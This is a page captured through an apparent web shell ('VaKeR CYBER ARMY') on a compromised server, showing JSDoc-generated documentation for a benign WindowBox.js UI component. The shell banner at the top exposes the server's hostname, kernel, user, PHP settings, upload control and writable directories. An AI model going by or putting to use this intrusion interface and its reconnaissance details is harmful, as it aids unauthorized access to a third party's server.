VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-acomp/out/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-acomp/out/WindowBox.js.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>JSDoc: Source: WindowBox.js</title>

    <script src="scripts/prettify/prettify.js"> </script>
    <script src="scripts/prettify/lang-css.js"> </script>
    <!--[if lt IE 9]>
      <script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
    <![endif]-->
    <link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
    <link type="text/css" rel="stylesheet" href="styles/jsdoc-default.css">
</head>

<body>

<div id="main">

    <h1 class="page-title">Source: WindowBox.js</h1>

    



    
    <section>
        <article>
            <pre class="prettyprint source linenums"><code>import ACore, { $, _ } from "../ACore";

/**
 * @typedef WindowBoxAction
 * @property icon
 * @property name
 *
 */

/***
 * @extends AElement
 * @constructor
 */
function WindowBox() {
    this.$header = $('.as-window-box-header', this);
    /***
     *
     * @type {WindowBoxAction[]}
     * @private
     */
    this._windowActions = [];
    this.$windowActionButtonCtn = $('.as-window-box-header-button-ctn', this);
    this._windowIcon = null;
    this.$windowIconCtn = $('.as-window-box-header-icon-ctn', this);


    /**
     *
     * @type {Text}
     */
    this.$windowTitleText = $('.as-window-box-header-title', this).firstChild;

    this.$body = $('.as-window-box-body', this);

    /***
     * @type {WindowBoxAction[]}
     * @name windowActions
     */
}

WindowBox.tag = 'WindowBox'.toLowerCase();

WindowBox.render = function () {
    return _({
        class: 'as-window-box',
        extendEvent: ['action'],
        child: [
            {
                class: 'as-window-box-header',
                child: [
                    {
                        class: 'as-window-box-header-icon-ctn'
                    },
                    {
                        class: 'as-window-box-header-title',
                        child: { text: '' }
                    },
                    {
                        class: "as-window-box-header-button-ctn"
                    }
                ]
            },
            {
                class: 'as-window-box-body'
            }
        ]
    });
};


['addChild', 'addChildBefore', 'addChildAfter', 'clearChild', 'findChildBefore', 'findChildAfter'].forEach(function (key) {
    WindowBox.prototype[key] = function () {
        return this.$body[key].apply(this.$body, arguments);
    };
});


WindowBox.property = {};


WindowBox.property.windowTitle = {
    set: function (value) {
        this.$windowTitleText.data = (value || '') + '';
    },
    get: function () {
        return this.$windowTitleText.data;
    },
    enumerable: true
};


WindowBox.property.windowIcon = {
    /***
     * @this WindowBox
     * @param value
     */
    set: function (value) {
        value = value || null;
        this.$windowIconCtn.clearChild();
        if (value) {
            this.$windowIconCtn.addChild(_(value));
        }
        this._windowIcon = value;
    },
    get: function () {
        return this._windowIcon;
    },
    enumerable: true
};

WindowBox.property.windowActions = {
    set: function (actions) {
        var self = this;
        this._windowActions = actions || [];
        this.$windowActionButtonCtn.clearChild();
        var buttons = this._windowActions.map(function (action) {
            return _({
                tag: 'button',
                class: action.class || [],
                child: action.icon,
                on: {
                    click: function (event) {
                        self.emit('action', { type: 'action', target: self, actionData: action, originalEvent: event });
                    }
                }
            });
        });
        this.$windowActionButtonCtn.addChild(buttons);
    },
    get: function () {
        return this._windowActions;
    }
};


ACore.install(WindowBox);

export default WindowBox;</code></pre>
        </article>
    </section>




</div>

<nav>
    <h2><a href="index.html">Home</a></h2><h3>Classes</h3><ul><li><a href="CalendarInput.html">CalendarInput</a></li><li><a href="CandyBoxButton.html">CandyBoxButton</a></li><li><a href="ChromeCalendar.html">ChromeCalendar</a></li><li><a href="CircleSectionLabel.html">CircleSectionLabel</a></li><li><a href="Cluster.html">Cluster</a></li><li><a href="ClusterIconInfo.html">ClusterIconInfo</a></li><li><a href="ClusterIconStyle.html">ClusterIconStyle</a></li><li><a href="ContextCaptor.html">ContextCaptor</a></li><li><a href="DateInput.html">DateInput</a></li><li><a href="DateInput2.html">DateInput2</a></li><li><a href="DropPanel.html">DropPanel</a></li><li><a href="DropPanelStack.html">DropPanelStack</a></li><li><a href="FlexiconButton.html">FlexiconButton</a></li><li><a href="MarkerClusterer.html">MarkerClusterer</a></li><li><a href="MarkerClustererOptions.html">MarkerClustererOptions</a></li><li><a href="SearchTextInput.html">SearchTextInput</a></li><li><a href="Sprite.html">Sprite</a></li><li><a href="Time24Input.html">Time24Input</a></li></ul><h3>Events</h3><ul><li><a href="MarkerClusterer.html#event:click">click</a></li><li><a href="MarkerClusterer.html#event:clusteringbegin">clusteringbegin</a></li><li><a href="MarkerClusterer.html#event:clusteringend">clusteringend</a></li><li><a href="MarkerClusterer.html#event:mouseout">mouseout</a></li><li><a href="MarkerClusterer.html#event:mouseover">mouseover</a></li></ul><h3>Global</h3><ul><li><a href="global.html#$windowTitleText">$windowTitleText</a></li><li><a href="global.html#AddIcon">AddIcon</a></li><li><a href="global.html#calcMinHMTime">calcMinHMTime</a></li><li><a href="global.html#cleanMenuItemProperty">cleanMenuItemProperty</a></li><li><a href="global.html#preventNotNumberInput">preventNotNumberInput</a></li><li><a href="global.html#vScrollIntoView">vScrollIntoView</a></li></ul>
</nav>

<br class="clear">

<footer>
    Documentation generated by <a href="https://github.com/jsdoc/jsdoc">JSDoc 4.0.0</a> on Wed Jan 04 2023 18:18:58 GMT+0700 (Indochina Time)
</footer>

<script> prettyPrint(); </script>
<script src="scripts/linenumber.js"> </script>
</body>
</html>

VaKeR 2022